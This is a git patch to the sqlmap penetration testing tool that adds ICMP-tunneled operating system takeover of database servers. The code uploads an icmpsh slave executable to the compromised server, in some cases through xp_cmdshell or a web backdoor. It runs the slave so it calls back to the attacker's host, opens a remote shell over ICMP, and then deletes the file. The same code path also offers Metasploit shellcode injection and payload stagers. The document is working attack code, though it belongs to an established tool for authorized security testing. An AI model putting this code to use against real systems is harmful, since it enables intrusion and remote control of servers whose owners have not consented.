From a391be833b0981a94a3a6e337fca9541cd4d3b62 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 27 Oct 2010 21:02:22 +0000 Subject: [PATCH] Implemented ICMP tunneling for out-of-band takeover (--os-pwn) as an alternative to TCP tunneling (Metasploit). It relies on icmpsh, the back-end dbms server has to be Windows as the icmpsh slave runs on Windows only for the moment. sqlmap needs to be executed as root to work. --- lib/takeover/icmpsh.py | 118 +++++++++++++++++++++++++++++ plugins/generic/takeover.py | 147 ++++++++++++++++++++++++------------ 2 files changed, 217 insertions(+), 48 deletions(-) create mode 100644 lib/takeover/icmpsh.py diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py new file mode 100644 index 000000000..34407373f --- /dev/null +++ b/lib/takeover/icmpsh.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +import codecs +import os +import re +import stat +import sys +import time + +from select import select +from subprocess import PIPE +from subprocess import Popen as execute + +from extra.icmpsh.icmpsh_m import main as icmpshmaster + +from lib.core.common import dataToStdout +from lib.core.common import getLocalIP +from lib.core.common import getRemoteIP +from lib.core.common import getUnicode +from lib.core.common import normalizePath +from lib.core.common import ntToPosixSlashes +from lib.core.common import pollProcess +from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapDataException +from lib.core.exception import sqlmapFilePathException +from lib.core.subprocessng import blockingReadFromFD +from lib.core.subprocessng import blockingWriteToFD +from lib.core.subprocessng import setNonBlocking +from lib.request.connect import Connect as Request +from lib.takeover.upx import upx + + +class ICMPsh: + """ + This class defines methods to call icmpsh for plugins. + """ + + def __init__(self): + self.lhostStr = None + self.rhostStr = None + self.localIP = getLocalIP() + self.remoteIP = getRemoteIP() + self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe")) + + def __selectRhost(self): + message = "which is the back-end DBMS address? [%s] " % self.remoteIP + address = readInput(message, default=self.remoteIP) + + return address + + def __selectLhost(self): + message = "which is the local address? [%s] " % self.localIP + address = readInput(message, default=self.localIP) + + return address + + def __prepareIngredients(self, encode=True): + self.lhostStr = self.__selectLhost() + self.rhostStr = self.__selectRhost() + + def __runIcmpshMaster(self): + infoMsg = "running icmpsh master locally" + logger.info(infoMsg) + + icmpshmaster(self.lhostStr, self.rhostStr) + + def __runIcmpshSlaveRemote(self): + infoMsg = "running icmpsh slave remotely" + logger.info(infoMsg) + + self.__icmpshSlaveCmd = "%s -t %s" % (self.__icmpslaveRemote, self.lhostStr) + + cmd = "%s &" % self.__icmpshSlaveCmd + + if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct): + cmd = self.xpCmdshellForgeCmd(cmd) + + self.execCmd(cmd, silent=True) + + def uploadIcmpshSlave(self, web=False): + self.__randStr = randomStr(lowercase=True) + + if web: + self.__icmpslaveRemote = "%s/tmpi%s.exe" % (self.webDirectory, self.__randStr) + else: + self.__icmpslaveRemote = "%s/tmpi%s.exe" % (conf.tmpPath, self.__randStr) + + self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote)) + + logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote) + + if web: + self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory) + else: + self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary", False) + + def icmpPwn(self): + self.__prepareIngredients() + self.__runIcmpshSlaveRemote() + self.__runIcmpshMaster() + + debugMsg = "icmpsh master exited" + logger.debug(debugMsg) + + self.delRemoteFile(self.__icmpslaveRemote, doubleslash=True) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 8a1446139..1d107d4e1 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -8,21 +8,24 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.common import readInput +from lib.core.common import runningAsAdmin from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.exception import sqlmapMissingPrivileges from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction +from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from lib.techniques.outband.stacked import stackedTest from plugins.generic.misc import Miscellaneous -class Takeover(Abstraction, Metasploit, Registry, Miscellaneous): +class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): """ This class defines generic OS takeover functionalities for plugins. """ @@ -32,6 +35,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous): self.tblField = "data" Abstraction.__init__(self) + ICMPsh.__init__(self) def osCmd(self): stackedTest() @@ -84,64 +88,105 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous): stackedTest() + self.checkDbmsOs() + + msg = "how do you want to establish the tunnel?" + msg += "\n[1] TCP: Metasploit Framework (default)" + msg += "\n[2] ICMP: icmpsh - ICMP tunneling" + + while True: + tunnel = readInput(msg, default=1) + + if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in ( 1, 2 ): + tunnel = int(tunnel) + break + + elif isinstance(tunnel, int) and tunnel in ( 1, 2 ): + break + + else: + warnMsg = "invalid value, valid values are 1 and 2" + logger.warn(warnMsg) + + if tunnel == 2 and kb.dbms != "Windows": + errMsg = "icmpsh slave is only supported on Windows at " + errMsg += "the moment. The back-end database server is " + errMsg += "not. sqlmap will fallback to TCP (Metasploit)" + logger.error(errMsg) + + tunnel = 1 + + if tunnel == 2: + isAdmin = runningAsAdmin() + + if isAdmin is not True: + errMsg = "you need to run sqlmap as an administrator " + errMsg += "if you want to establish an out-of-band ICMP " + errMsg += "tunnel because icmpsh uses raw sockets to " + errMsg += "sniff and craft ICMP packets" + raise sqlmapMissingPrivileges, errMsg + if kb.stackedTest or conf.direct: web = False - self.initEnv(web=web) self.getRemoteTempPath() + self.initEnv(web=web) - if kb.dbms in ( "MySQL", "PostgreSQL" ): - msg = "how do you want to execute the Metasploit shellcode " - msg += "on the back-end database underlying operating system?" - msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Stand-alone payload stager (file system way)" + if tunnel == 1: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + msg = "how do you want to execute the Metasploit shellcode " + msg += "on the back-end database underlying operating system?" + msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" + msg += "\n[2] Stand-alone payload stager (file system way)" - while True: - choice = readInput(msg, default=1) + while True: + choice = readInput(msg, default=1) - if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ): - choice = int(choice) - break + if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ): + choice = int(choice) + break - elif isinstance(choice, int) and choice in ( 1, 2 ): - break + elif isinstance(choice, int) and choice in ( 1, 2 ): + break - else: - warnMsg = "invalid value, valid values are 1 and 2" - logger.warn(warnMsg) + else: + warnMsg = "invalid value, valid values are 1 and 2" + logger.warn(warnMsg) - if choice == 1: - goUdf = True + if choice == 1: + goUdf = True - if goUdf: - self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") - else: - self.createMsfPayloadStager() - self.uploadMsfPayloadStager() + if goUdf: + self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") + else: + self.createMsfPayloadStager() + self.uploadMsfPayloadStager() - if kb.os == "Windows" and conf.privEsc: - if kb.dbms == "MySQL": - debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, no need to privilege escalate" - logger.debug(debugMsg) + if kb.os == "Windows" and conf.privEsc: + if kb.dbms == "MySQL": + debugMsg = "by default MySQL on Windows runs as SYSTEM " + debugMsg += "user, no need to privilege escalate" + logger.debug(debugMsg) - elif kb.os != "Windows" and conf.privEsc: - # Unset --priv-esc if the back-end DBMS underlying operating - # system is not Windows - conf.privEsc = False - - warnMsg = "sqlmap does not implement any operating system " - warnMsg += "user privilege escalation technique when the " - warnMsg += "back-end DBMS underlying system is not Windows" - logger.warn(warnMsg) + elif kb.os != "Windows" and conf.privEsc: + # Unset --priv-esc if the back-end DBMS underlying operating + # system is not Windows + conf.privEsc = False + warnMsg = "sqlmap does not implement any operating system " + warnMsg += "user privilege escalation technique when the " + warnMsg += "back-end DBMS underlying system is not Windows" + logger.warn(warnMsg) + elif tunnel == 2: + self.uploadIcmpshSlave(web=web) + self.icmpPwn() + elif not kb.stackedTest and kb.dbms == "MySQL": - infoMsg = "going to use a web backdoor to execute the " - infoMsg += "payload stager" - logger.info(infoMsg) - web = True + infoMsg = "going to use a web backdoor to establish the tunnel" + logger.info(infoMsg) + self.initEnv(web=web) if self.webBackdoorUrl: @@ -156,18 +201,24 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous): logger.warn(warnMsg) self.getRemoteTempPath() - self.createMsfPayloadStager() - self.uploadMsfPayloadStager(web=True) + + if tunnel == 1: + self.createMsfPayloadStager() + self.uploadMsfPayloadStager(web=web) + elif tunnel == 2: + self.uploadIcmpshSlave(web=web) + self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session via " errMsg += "the back-end DBMS" raise sqlmapNotVulnerableException(errMsg) - if not web or (web and self.webBackdoorUrl is not None): - self.pwn(goUdf) + if tunnel == 1: + if not web or (web and self.webBackdoorUrl is not None): + self.pwn(goUdf) - if not conf.cleanup: - self.cleanup() + if not conf.cleanup: + self.cleanup() def osSmb(self): stackedTest()